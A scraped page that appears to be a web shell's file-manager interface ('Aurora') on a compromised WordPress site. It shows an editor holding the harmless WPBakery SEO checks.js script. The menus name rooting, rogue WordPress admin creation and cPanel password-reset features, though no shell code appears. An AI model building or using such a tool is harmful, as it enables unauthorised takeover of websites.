Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
home3
homscoke
www
wp-content
plugins
js_composer
modules
seo
assets
js
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: checks.js
/* global vc, i18nLocale */ if (!window.vc) { window.vc = {}; } (function ($) { 'use strict'; var storagePrefix = 'results'; var maxTitleLength = 600; var utils = vc.seo_utils; var checkData = { focusKeyphrase: { title: i18nLocale.focusKeywordTitle, checkMethod: 'checkFocusKeyphrase', conditions: [], }, descriptionLength: { title: i18nLocale.seoDescription, checkMethod: 'checkDescriptionLength', conditions: [], }, titleWidth: { title: i18nLocale.seoTitle, checkMethod: 'checkTitleWidth', conditions: [], }, postTextLength: { title: i18nLocale.textLength, checkMethod: 'checkPostTextLength', conditions: [], }, images: { title: i18nLocale.images, checkMethod: 'checkImages', conditions: ['content'] }, inboundLinks: { title: i18nLocale.internalLinks, checkMethod: 'checkInboundLinks', conditions: ['content'] }, outboundLinks: { title: i18nLocale.outboundLinks, checkMethod: 'checkOutboundLinks', conditions: ['content'] }, consecutiveSentences: { title: i18nLocale.consecutiveSentences, checkMethod: 'checkForConsecutiveSentences', conditions: ['text', 'content'] }, subheadingDistribution: { title: i18nLocale.subheadingDistribution, checkMethod: 'checkSubheadingDistribution', conditions: ['text', 'content'] }, paragraphLength: { title: i18nLocale.paragraphLength, checkMethod: 'checkParagraphLength', conditions: ['text', 'content'] }, passiveVoicePercentage: { title: i18nLocale.passiveVoice, checkMethod: 'checkPassiveVoicePercentage', conditions: ['text', 'content'] }, checkSentenceLength: { title: i18nLocale.sentenceLength, checkMethod: 'checkSentenceLength', conditions: ['text', 'content'] }, keyphraseInTitle: { title: i18nLocale.keyphraseInTitleText, checkMethod: 'checkKeyphraseInTitle', conditions: ['title', 'keyphrase'] }, keyphraseInDescription: { title: i18nLocale.keyphraseInDescriptionText, checkMethod: 'checkKeyphraseInDescription', conditions: ['description', 'keyphrase'] }, keyphraseInSlug: { title: i18nLocale.keyphraseInSlug, checkMethod: 'checkKeyphraseInSlug', conditions: ['slug', 'keyphrase'] }, keyphraseInImages: { title: i18nLocale.imageKeyphrase, checkMethod: 'checkKeyphraseInImages', conditions: ['content', 'keyphrase', 'images'] }, keyphraseDensity: { title: i18nLocale.keyphraseDensity, checkMethod: 'checkKeyphraseDensity', conditions: ['content', 'keyphrase', 'text'] }, keyphraseInIntroduction: { title: i18nLocale.keyphraseInIntroductionText, checkMethod: 'checkKeyphraseInIntroduction', conditions: ['content', 'keyphrase', 'text'] }, previouslyUsedKeyphrase: { title: i18nLocale.previouslyUsedKeyphrase, checkMethod: 'checkPreviouslyUsedKeyphrase', conditions: ['keyphrase'] } }; vc.seo_checks = { $wpbContentWrapper: null, analyzeContent: function ($contentWrapper) { this.$wpbContentWrapper = $contentWrapper; var $content = this.$wpbContentWrapper.find('>div:not(#vc_no-content-helper)'); var $text = $content.find('p'); var $images = $content.find('img'); var formData = vc.seo_storage.get('formData'); var conditions = { content: $content.length, text: $text.length, images: $images.length, keyphrase: formData.keyphrase, title: formData.title, description: formData.description, slug: formData.slug }; var areConditionsAllowed = function (key) { return checkData[key].conditions.every(function (condition) { return conditions[condition]; }); }; for (var key in checkData) { if (checkData[key]) { if (areConditionsAllowed(key)) { var method = checkData[key].checkMethod; this[method](checkData[key].title); } else { vc.seo_storage.resetResult(checkData[key].title); } } } }, checkTitleWidth: function (title) { var state = 'problems'; var description = i18nLocale.seoTitleWidthTooLong; var titleWidth = utils.measureTextWidth(vc.seo_storage.get('formData').title); if (!titleWidth) { description = i18nLocale.seoTitleEmpty; } else if (titleWidth < maxTitleLength) { state = 'success'; description = i18nLocale.goodJob; } vc.seo_storage.updateResult(state, title, description, storagePrefix); }, checkFocusKeyphrase: function (title) { var state = 'problems'; var description = i18nLocale.noFocusKeyword; if (vc.seo_storage.get('formData').keyphrase) { state = 'success'; description = i18nLocale.goodJob; } vc.seo_storage.updateResult(state, title, description, storagePrefix); }, checkDescriptionLength: function (title) { var state = 'problems'; var description = ''; if (!vc.seo_storage.get('formData').description.length) { description = i18nLocale.seoDescriptionEmpty; } else if (vc.seo_storage.get('formData').description.length < 120) { state = 'warnings'; description = i18nLocale.seoDescriptionTooShort; } else if (vc.seo_storage.get('formData').description.length > 120 && vc.seo_storage.get('formData').description.length <= 156) { state = 'success'; description = i18nLocale.wellDone; } else if (vc.seo_storage.get('formData').description.length > 156) { state = 'warnings'; description = i18nLocale.seoDescriptionTooLong; } vc.seo_storage.updateResult(state, title, description, storagePrefix); }, checkKeyphraseInTitle: function (title) { var state = 'problems'; var description = i18nLocale.keyphraseInTitleEmpty.replace('%1$s', vc.seo_storage.get('formData').keyphrase); var seoTitle = vc.seo_storage.get('formData').title.toLowerCase(); var seoKeyphrase = vc.seo_storage.get('formData').keyphrase.trim().toLowerCase(); var result = utils.findKeyphrase(vc.seo_storage.get('formData').title, vc.seo_storage.get('formData').keyphrase); var startsWithKeyphrase = 0 === seoTitle.indexOf(seoKeyphrase); if (result.found) { if(startsWithKeyphrase) { state = 'success'; description = i18nLocale.goodJob; } else { state = 'warnings'; description = i18nLocale.keyphraseInTitleWarn; } } vc.seo_storage.updateResult(state, title, description, storagePrefix); }, checkKeyphraseInDescription: function (title) { var state = 'problems'; var description = i18nLocale.keyphraseInDescriptionEmpty; var result = utils.findKeyphrase(vc.seo_storage.get('formData').description, vc.seo_storage.get('formData').keyphrase); if (result.found) { state = 'success'; description = i18nLocale.keyphraseInDescriptionSuccess; } vc.seo_storage.updateResult(state, title, description, storagePrefix); }, checkKeyphraseInSlug: function (title) { var state = 'warnings'; var description = i18nLocale.keyphraseInSlugProblem; var result = utils.findKeyphraseInSlug(vc.seo_storage.get('formData').slug, vc.seo_storage.get('formData').keyphrase); if (result.found) { state = 'success'; description = i18nLocale.greatWork; } vc.seo_storage.updateResult(state, title, description, storagePrefix); }, checkKeyphraseInImages: function (title) { var state = 'success'; var description = ''; var imagesData = utils.findKeyphraseInAltTag(this.images, vc.seo_storage.get('formData').keyphrase); var percentage = imagesData.percentage; var imagesWithKeyphrase = imagesData.imagesWithKeyphrase; // Check if there are more than 4 images if (this.images.length > 4) { // Check if the percentage falls within the specified range (30% to 70%) if (percentage >= 30 && percentage <= 70) { description = i18nLocale.goodJob; } else if (percentage > 70) { state = 'warnings'; description = i18nLocale.imageKeyphraseTooMuch.replace('%1$s', this.images.length).replace('%2$s', imagesWithKeyphrase); } else { state = 'warnings'; description = i18nLocale.imageKeyphraseNotEnough.replace('%1$s', this.images.length).replace('%2$s', imagesWithKeyphrase); } } else { // Check if at least one image contains the keyphrase if (imagesWithKeyphrase > 0) { description = i18nLocale.goodJob; } else { state = 'warnings'; description = i18nLocale.imageKeyphraseMissing; } } vc.seo_storage.updateResult(state, title, description, storagePrefix); }, checkKeyphraseDensity: function (title) { var state = 'success'; var description = ''; var keyphraseInText = utils.findKeyphraseDensity(this.textContent, vc.seo_storage.get('formData').keyphrase); var keyphraseOccurrences = keyphraseInText.keyphraseOccurrences; var advisedMinOccurrences = keyphraseInText.advisedMinOccurrences; var advisedMaxOccurrences = keyphraseInText.advisedMaxOccurrences; if (keyphraseOccurrences.length < advisedMinOccurrences) { state = 'problems'; description = i18nLocale.keyphraseDensityNotEnough.replace('%1$s', keyphraseOccurrences.length).replace('%2$s', advisedMinOccurrences); } else if (keyphraseOccurrences.length >= advisedMinOccurrences && keyphraseOccurrences.length <= advisedMaxOccurrences) { description = i18nLocale.keyphraseDensitySuccess.replace('%1$s', keyphraseOccurrences.length); } else { state = 'problems'; description = i18nLocale.keyphraseDensityTooMuch.replace('%1$s', keyphraseOccurrences.length).replace('%2$s', advisedMaxOccurrences); } vc.seo_storage.updateResult(state, title, description, storagePrefix); }, checkInboundLinks: function (title) { var inboundLinks = []; var goodJob = i18nLocale.goodJob; var noInboundLinksDescription = i18nLocale.noInternalLinks; var $links = this.$wpbContentWrapper.find(">div:not(#vc_no-content-helper) a:not([class*='vc_control'])"); var inboundLinksState = 'success'; var inboundLinksDescription = goodJob; $.each($links, function (i, link) { if (window.location.host === link.host) { inboundLinks.push(link); } }); if (!inboundLinks.length) { inboundLinksState = 'problems'; inboundLinksDescription = noInboundLinksDescription; } vc.seo_storage.updateResult(inboundLinksState, title, inboundLinksDescription, storagePrefix); }, checkOutboundLinks: function (title) { var outboundLinks = []; var goodJob = i18nLocale.goodJob; var noOutboundLinksDescription = i18nLocale.noOutboundLinks; var $links = this.$wpbContentWrapper.find(">div:not(#vc_no-content-helper) a:not([class*='vc_control'])"); var outboundLinksState = 'success'; var outboundLinksDescription = goodJob; $.each($links, function (i, link) { if (window.location.host !== link.host) { outboundLinks.push(link); } }); if (!outboundLinks.length) { outboundLinksState = 'problems'; outboundLinksDescription = noOutboundLinksDescription; } vc.seo_storage.updateResult(outboundLinksState, title, outboundLinksDescription, storagePrefix); }, checkImages: function (title) { var state = 'problems'; var description = i18nLocale.noImages; var images = this.$wpbContentWrapper.find('>div:not(#vc_no-content-helper) img'); this.images = images; if (images.length) { state = 'success'; description = i18nLocale.goodJob; } vc.seo_storage.updateResult(state, title, description, storagePrefix); }, checkPostTextLength: function (title) { var state = 'problems'; var description = i18nLocale.textLengthLess; var postContent = this.$wpbContentWrapper.html(); var textContent = utils.getTextContent(postContent); this.textContent = textContent; var textLength = textContent.split(/\s+/).length; var isContentEmpty = (1 === textLength) && '' === utils.getTextContent(postContent).split(/\s+/)[0]; if (isContentEmpty) { textLength = 0; } if (textLength < 200) { description = description.replace('%1$s', textLength).replace('%2$s', 'far below'); } else if (textLength >= 200 && textLength < 250) { description = description.replace('%1$s', textLength).replace('%2$s', 'below'); } else if (textLength >= 250 && textLength < 300) { description = description.replace('%1$s', textLength).replace('%2$s', 'slightly below'); state = 'warnings'; } else if (textLength >= 300) { description = window.sprintf(i18nLocale.textLengthSuccess, textLength); state = 'success'; } vc.seo_storage.updateResult(state, title, description, storagePrefix); }, checkKeyphraseInIntroduction: function (title) { var state = 'problems'; var description = i18nLocale.keyphraseInIntroductionEmpty; var firstParagraph = utils.getParagraphs(this.$wpbContentWrapper).first().text(); var result = utils.findKeyphrase(firstParagraph, vc.seo_storage.get('formData').keyphrase); if (result.found) { state = 'success'; description = i18nLocale.wellDone; } vc.seo_storage.updateResult(state, title, description, storagePrefix); }, checkPassiveVoicePercentage: function (title) { var paragraphs = utils.getParagraphs(this.$wpbContentWrapper); var percentage = utils.getPassiveVoicePercentage(paragraphs); var state = 'problems'; var description = window.sprintf(i18nLocale.passiveVoiceError, percentage + '%'); if (percentage < 10) { state = 'success'; description = i18nLocale.passiveVoiceSuccess; } vc.seo_storage.updateResult(state, title, description, storagePrefix); }, checkForConsecutiveSentences: function (title) { var hasConsecutiveSentences = utils.hasConsecutiveSentences(this.textContent); var state = hasConsecutiveSentences.state ? 'problems' : 'success'; var description = i18nLocale.consecutiveSentencesSuccess; if (hasConsecutiveSentences.state) { description = i18nLocale.consecutiveSentencesFail.replace('%1$s', hasConsecutiveSentences.consecutiveCount); } vc.seo_storage.updateResult(state, title, description, storagePrefix); }, checkParagraphLength: function (title) { var state = 'success'; var description = i18nLocale.paragraphLengthSuccess; var paragraphs = utils.getParagraphs(this.$wpbContentWrapper); var longParagraphsCount = 0; paragraphs.each(function (index, element) { var paragraphText = $(element).text(); // Check the word count for each paragraph var wordCount = utils.getWordsCount(paragraphText); if (wordCount > 150) { longParagraphsCount++; } }); if (longParagraphsCount > 0) { description = window.sprintf(i18nLocale.paragraphLengthError, longParagraphsCount); state = 'problems'; } vc.seo_storage.updateResult(state, title, description, storagePrefix); }, checkSentenceLength: function (title) { var state = 'success'; var description = i18nLocale.great; var paragraphs = utils.getParagraphs(this.$wpbContentWrapper); var totalSentences = 0; var longSentencesCount = 0; paragraphs.each(function (index, paragraph) { var sentences = utils.getSentences($(paragraph).text()); totalSentences += sentences.length; // Check the word count for each sentence sentences.forEach(function (sentence) { var wordCount = utils.getWordsCount(sentence); if (wordCount > 20) { longSentencesCount++; } }); }); var longSentencePercentage = (longSentencesCount / totalSentences) * 100; if (1 !== totalSentences && longSentencePercentage > 25) { description = window.sprintf(i18nLocale.sentenceLengthError, longSentencePercentage.toFixed()); state = 'problems'; } vc.seo_storage.updateResult(state, title, description, storagePrefix); }, checkSubheadingDistribution: function (title) { var contentHtmlString = this.$wpbContentWrapper.html(); var textSections = utils.getTextSectionCount(contentHtmlString); var state = 'success'; var description = i18nLocale.goodJob; var isNoHeadings = textSections.filter(function (section) { return !section.subheadingCount && section.wordCount > 300; }); var isNotEnoughHeadings = textSections.filter(function (section) { return 1 === section.subheadingCount && section.wordCount > 300; }); if (isNoHeadings.length) { state = 'problems'; description = i18nLocale.subheadingDistributionFail; } else if (isNotEnoughHeadings.length) { state = 'warnings'; description = i18nLocale.subheadingDistributionWarn.replace('%s', isNotEnoughHeadings.length); } vc.seo_storage.updateResult(state, title, description, storagePrefix); }, checkPreviouslyUsedKeyphrase: function (title) { var state = 'success'; var description = i18nLocale.previouslyUsedKeyphraseSuccess; if (vc.seo_storage.get('formData').isUsedKeyphrase) { state = 'warnings'; description = i18nLocale.previouslyUsedKeyphraseWarn; } vc.seo_storage.updateResult(state, title, description, storagePrefix); }, }; })(window.jQuery);